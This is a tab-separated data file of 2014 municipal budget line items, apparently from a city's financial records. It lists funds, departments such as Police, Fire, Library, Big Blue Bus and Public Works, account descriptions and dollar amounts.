8492	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511749.0	VISION	808.0	Salaries and Wages	2014	139.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	139.0
8493	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		UNEMPLOYMENT	808.0	Salaries and Wages	2014	324.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	324.0
8494	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555130.0	TOXIC CHEMICAL	804.0	 Supplies and Expenses	2014	276000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	276000.0
8495	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401090.0	INDIRECT COSTS	612.0	Charges for Service	2014	-11102190.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-11102190.0
8496	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-1806000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1806000.0
8497	BA	IS	15	Low/Mod Incme Housing Asset Fd	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404178.0	RESIDUAL RECEIPTS-HOUSING	622.0	Other	2014	-400000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-400000.0
8498	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579961.0	BBB-GEN FUND REIMBURSEMENT	908.0	 Supplies and Expenses	2014	-446690.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-446690.0
8499	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555990.0	PARKING AGREEMENT W / MACERICH	804.0	 Supplies and Expenses	2014	2028923.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2028923.0
8500	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408670.0	METRO WAYFINDING DESIGN WORK	622.0	Other	2014	-100000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-100000.0
8501	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407691.0	TAXI FRANCHISE FEES	612.0	Charges for Service	2014	-355000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-355000.0
8502	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511017.0	PERMANENT EMPLOY SWORN POLICE	806.0	Salaries and Wages	2014	243360.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	243360.0
8503	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511748.0	DENTAL	804.0	Salaries and Wages	2014	3783.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3783.0
8504	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DCAP	804.0	Salaries and Wages	2014	276.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	276.0
8505	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	325.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	325.0
8506	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	523.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	523.0
8507	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555218.0	COMMUNITY EMERGENCY RESP TEAM	804.0	 Supplies and Expenses	2014	23899.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23899.0
8508	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511490.0	OVERTIME	804.0	Salaries and Wages	2014	615402.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	615402.0
8509	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	408303.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	408303.0
8510	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	578391.0	BIKE VALET - PROP A  LOCAL RET	808.0	 Supplies and Expenses	2014	40000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40000.0
8511	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	806.0	 Supplies and Expenses	2014	2698.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2698.0
8512	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2014	4100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4100.0
8513	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	555080.0	DEAD ANIMAL DISPOSAL	806.0	 Supplies and Expenses	2014	9738.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9738.0
8514	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2014	20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20000.0
8515	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	30000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30000.0
8516	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544040.0	BOOKS / PAMPHLETS	810.0	 Supplies and Expenses	2014	103.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103.0
8517	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544170.0	UNIF/PROTECIVE CLOTHING	812.0	 Supplies and Expenses	2014	6200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6200.0
8518	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	5625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5625.0
8519	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2014	7918.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7918.0
8520	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2014	647.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	647.0
8521	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	816.0	Salaries and Wages	2014	77538.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	77538.0
8522	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2014	15875.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15875.0
8523	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	816.0	 Supplies and Expenses	2014	11156.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11156.0
8524	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2014	10582.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10582.0
8525	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	404340.0	INDUSTRIAL WASTE FEES	650.0	Charges for Service	2014	-325000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-325000.0
8526	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	103.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103.0
8527	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	359.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	359.0
8528	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2014	533.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	533.0
8529	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533560.0	CONF / MTGS / TRAVEL-PO	804.0	 Supplies and Expenses	2014	2975.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2975.0
8530	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2014	75931.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	75931.0
8531	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	300.0
8532	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2014	5266.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5266.0
8533	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2014	10250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10250.0
8534	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2014	81.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	81.0
8535	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	16400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16400.0
8536	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2014	89175.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	89175.0
8537	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2014	18450.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18450.0
8538	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2014	114000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	114000.0
8539	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544090.0	MEDICAL/FIRST AID SUPPLIES	806.0	 Supplies and Expenses	2014	637.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	637.0
8540	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	134640.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	134640.0
8541	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2014	13275.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13275.0
8542	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	533160.0	PHOTO EQUIPMENT MAINTENANCE	806.0	 Supplies and Expenses	2014	1743.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1743.0
8543	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511510.0	CROSSING GUARDS	806.0	Salaries and Wages	2014	454159.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	454159.0
8544	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2014	603731.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	603731.0
8545	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	16600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16600.0
8546	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522120.0	UTILITIES - NATURAL GAS	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8547	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8548	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511000.0	PERMANENT EMPLOYEES	840.0	Salaries and Wages	2014	604449.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	604449.0
8549	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2014	1825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1825.0
8550	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522920.0	VEHICLES - REPAIRS	806.0	 Supplies and Expenses	2014	10455.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10455.0
8551	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2014	34423.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	34423.0
8552	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2014	77268.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	77268.0
8553	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	806.0	 Supplies and Expenses	2014	77481.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	77481.0
8554	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	1558797.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1558797.0
8555	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	12420.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12420.0
8556	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2014	4182.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4182.0
8557	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	544193.0	CLEANING SUPPLIES		 Supplies and Expenses	2014	222123.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	222123.0
8558	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555011.0	OUTSIDE REPAIRS - BUSES		 Supplies and Expenses	2014	1320344.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1320344.0
8559	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555012.0	OUTSIDE REPAIRS - SERVICE VEHC		 Supplies and Expenses	2014	40898.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40898.0
8560	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20000.0
8561	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522045.0	PAYOUTS FOR UNINSURED PL/PD		 Supplies and Expenses	2014	2500000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500000.0
8562	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522624.0	JOINT FACILITIES RENT		 Supplies and Expenses	2014	30750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30750.0
8563	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	15586535.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15586535.0
8564	BA	IS	1	General Fund	310	FIRE	315	TRAINING	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2014	2614.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2614.0
8565	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401220.0	REC-PARK BUILDING RENTAL	618.0	Rentals	2014	-153371.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-153371.0
8566	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522620.0	RENT	816.0	 Supplies and Expenses	2014	257696.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	257696.0
8567	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	4940.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4940.0
8568	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522500.0	BOARDS AND COMMISSIONS	812.0	 Supplies and Expenses	2014	1025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1025.0
8569	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522910.0	VEHICLES - FUELS / LUBRICATION	812.0	 Supplies and Expenses	2014	1100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1100.0
8570	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	812.0	 Supplies and Expenses	2014	140300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	140300.0
8571	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	1995.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1995.0
8572	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	27265.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27265.0
8573	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2014	107595.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	107595.0
8574	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	794268.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	794268.0
8575	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2014	3075.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3075.0
8576	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	2146.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2146.0
8577	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	25.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25.0
8578	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	305.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	305.0
8579	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	16832.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16832.0
8580	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	20899.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20899.0
8581	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	805869.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	805869.0
8582	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	39900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	39900.0
8583	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522920.0	VEHICLES - REPAIRS	808.0	 Supplies and Expenses	2014	20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20000.0
8584	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533210.0	BLDG OPER / CUSTODIAL SUPPLIES	808.0	 Supplies and Expenses	2014	36100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36100.0
8585	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	425272.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	425272.0
8586	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511490.0	OVERTIME	808.0	Salaries and Wages	2014	5388.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5388.0
8587	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2014	91540.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	91540.0
8588	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522910.0	VEHICLES - FUELS / LUBRICATION	848.0	 Supplies and Expenses	2014	32737.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	32737.0
8589	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544170.0	UNIFORM / PROTECTIVE CLOTHING	848.0	 Supplies and Expenses	2014	22000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22000.0
8590	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544340.0	INDIRECT COST ALLOCATION	842.0	 Supplies and Expenses	2014	1042787.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1042787.0
8591	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	566060.0	INTEREST EXPENSE	866.0	 Supplies and Expenses	2014	6000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6000.0
8592	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	544240.0	PROP C REIMBURSEMENT	908.0	 Supplies and Expenses	2014	-20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-20000.0
8593	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	908.0	 Supplies and Expenses	2014	-146646.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-146646.0
8594	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578300.0	SUPPORTIVE HOUSING PROGRAM	910.0	 Supplies and Expenses	2014	-113192.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-113192.0
8595	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	544240.0	PROP C REIMBURSEMENT	910.0	 Supplies and Expenses	2014	20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20000.0
8596	BA	IS	30	Pier Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570250.0	GEN FD REIMBURSEMENT FROM PIER		 Supplies and Expenses	2014	192038.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	192038.0
8597	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522010.0	PAYMENT OF CLAIMS	856.0	 Supplies and Expenses	2014	6300000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6300000.0
8598	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	555060.0	PROFESSIONAL SERVICES	864.0	 Supplies and Expenses	2014	62150.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	62150.0
8599	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	405550.0	DOMESTIC PARTNERSHIP FLNG FEE	612.0	Charges for Service	2014	-175.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-175.0
8600	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400010.0	PROPERTY TAXES - SECURED	602.0	Property Taxes	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8601	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400080.0	HOME EXEMPT TAX RELIEF	602.0	Property Taxes	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8602	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400150.0	DOCUMENTARY TRANSFER TAX	606.0	Other Local Taxes	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8603	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8604	BA	IS	1	General Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	404810.0	REFUSE BINS - STORAGE FEES	612.0	Charges for Service	2014	-67400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-67400.0
8605	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	9675.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9675.0
8606	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2014	46002.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	46002.0
8607	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	555210.0	TRAINING		 Supplies and Expenses	2014	1968.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1968.0
8608	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	555030.0	EMPLOYEE MEDICAL EXAMS		 Supplies and Expenses	2014	4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4000.0
8609	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	47178.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	47178.0
8610	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	278238.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	278238.0
8611	BA	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	522180.0	BANK FEES	808.0	 Supplies and Expenses	2014	400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	400.0
8612	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	1777.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1777.0
